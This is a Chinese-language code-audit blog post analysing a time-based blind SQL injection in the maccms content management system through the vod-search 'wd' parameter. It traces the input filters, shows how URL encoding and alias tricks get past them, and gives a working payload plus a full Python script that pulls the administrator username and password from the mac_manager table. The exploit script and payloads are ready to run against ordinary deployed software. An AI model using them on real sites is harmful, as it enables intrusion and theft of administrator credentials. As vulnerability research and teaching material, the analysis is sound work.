0x01 前言
已經有一周沒發表文章了,一個朋友叫我研究maccms的代碼審計,碰到這個注入的漏洞挺有趣的,就在此寫一篇分析文。
0x02 環境
Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代碼審計工具
搭建這個程序也挺簡單的,也是一步到位。
0x03 漏洞復現
- 首先在程序的后台添加一條數據
- 執行我們的payload,可以看到網站跳轉延遲了3s以上。
url:http://sb.com/index.php?m=vod-search
post:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63
- 因為是盲注所以注入出管理員的賬號密碼在下文分析。
0x04 SQL執行過程分析
- 先弄清楚sql是如何執行的一個過程,然后再去分析怎么會造成SQL注入的一個過程,這樣對學習代碼審計也是一個好處。
因為是動態分析,不會的安裝調試環境的請到這篇文章按步驟完成安裝https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/ - phpstorm打開這個選項,意思就是斷在當前腳本文件的第一行,我就不下斷點了,跟着它執行的過程走一遍。
- 我們先隨便輸入一點數據
訪問后會斷在index.php的第一行 - F8往下走,走到第14行F7跟進去。
然后F8一直往下走,可以看到攔截的規則
走到POST的過濾這里F7進去arr_foreach
函數檢查傳過來的值是否是數組,不是數組就返回原數據,然后用urldecode
函數URL解碼。
最后分別對傳過來的wd
和test
兩個值進行匹配,如果存在攔截規則里面的字符就跳轉到錯誤信息。
比如你輸入wd=/**/
就會被攔截
因為/**/
存在攔截的正則表達式里面。 - 走出來會到
$m = be('get','m');
這里,這里只是對m
傳過來的vod-search
進行addslashes
函數的過濾 - 我怕文章過長,一些不必要的代碼自己去細讀一遍就行了,F8一直往下周,走到37行F7進去,因為我們傳過來的的參數是
vod
,所以會包含vod.php
文件並執行。 - 因為我們傳參是
search
所以會走到這里,我們可以F7進去看執行的過程。
在這里會經過urldecode
函數的解碼,一直循環到不能解碼為止,然后經過剛才的StopAttack
方法的過濾
最后到htmlEncode
方法的替換 - 跳出到
vod.php
文件后F8走到這里,F7進去看SQL執行的過程。
一直走到markname
的值是vod
然后不用管F8繼續往下走,走到這里再F7進去
可以看到SQL執行是到這里,下面是執行的語句SELECT count(*) FROM {pre}vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )
0x05 漏洞分析
上面分析了SQL執行過程,下面分析這個是如何構成SQL注入的。
- 剛才這里跳過了,文件位置:
inc/common/template.php
,可以看到傳過來的P["wd"]
值賦值給了$lp['wd']
。 - 再往下看753~755行,可以看到我們的值是放在這里面,然后送去
GetOne
執行的。if (!empty($lp['wd'])){ $where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) '; }
- 構造的語句,只有中間才是執行的語句,前一句是為了閉合單引號,后面是注釋。如果這里不清楚的可以用MySQL監控的軟件去一步一步弄清楚。
SELECT count(*) FROM mac_vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,')) ||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0) #\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )
- 但是如果直接放語句上去會被檢測到危險字符
它主要對我們這里的空格連接處匹配到了
那么我們可以用別名as ‘ ‘去代替,也可以省略as直接用 ‘ ‘,別名的用法在文章尾部的參考有給出。 - 我們再執行,用Seay的代碼審計工具的Mysql監控軟件查看,我們的空格和后面的
\
被轉義了。
還記得我們chkSql
方法嗎?先是執行urldecode
解碼,然后StopAttack
匹配,最后htmlEncode
編碼,最后Be
方法那里 還有一個addslashes
函數過濾,所以會導致后面的\
轉義成\\
。htmlEncode
又會對前面的空格轉義成function chkSql($s) { global $getfilter; if(empty($s)){ return ""; } $d=$s; while(true){ $s = urldecode($d); if($s==$d){ break; } $d = $s; } StopAttack(1,$s,$getfilter); return htmlEncode($s); }
- 這里我們可以利用URL編碼繞過
htmlEncode
,具體可以看HTML URL編碼表%0c
%0b
等都可以,后面的\
可以用URL編碼繞過%5c
或者雙編碼%25%35%63
- 那么我們構造成的payload就是下面的,功能是查詢管理員賬號字段的長度
wd=))||if((select%0cascii(length((select(m_name)
from(mac_manager))))=53),(sleep
(3)),0)#%5c``
0x06 編寫盲注腳本
當然盲注一般都不會手動去,SQLMAP有時候遇到特殊的也是要自己編寫注入的腳本,具體代碼的意思我就不解讀了,自己可以結合Python和MySQL的知識理解。
#! /usr/bin/python # -*- coding:utf-8 -*- #author:F0rmat import requests import time dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?" UserName='' UserPass='' UserName_length=0 url='http://sb.com/' url = url + r'/index.php?m=vod-search' def main(): global UserName global url for i in range(30): startTime = time.time() sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format( ord(str(i))) data = {'wd': sql} response = requests.post(url, data=data) # 發送請求 if time.time() - startTime > 3: UserName_length = i print UserName_length break for num in range(1, UserName_length + 1): for i in dict: # 遍歷取出字符 startTime = time.time() sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format( str(num), ord(i)) data = {'wd': sql} response = requests.post(url, data=data) # 發送請求 print data if time.time() - startTime > 3: UserName += i break global UserPass for num in range(32): for i in dict: # 遍歷取出字符 startTime = time.time() sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format( str(num), ord(i)) data = {'wd': sql} response = requests.post(url, data=data) # 發送請求 print data if time.time() - startTime > 3: UserPass += i break print 'username:'+UserName,'password:'+UserPass if __name__ == '__main__': main()
0x07 總結
有時候學習代碼審計,不能因為部分的代碼沒能讀懂就不去理會,其實你讀的代碼越多,做代碼審計也越輕松。
0x08 參考
程序下載:https://www.lanzous.com/i1qm24f
http://www.freebuf.com/column/161528.html
http://www.mysqltutorial.org/mysql-alias/
http://www.w3school.com.cn/tags/html_ref_urlencode.html
https://github.com/F0r3at/Python-Tools/blob/master/maccms_sql.py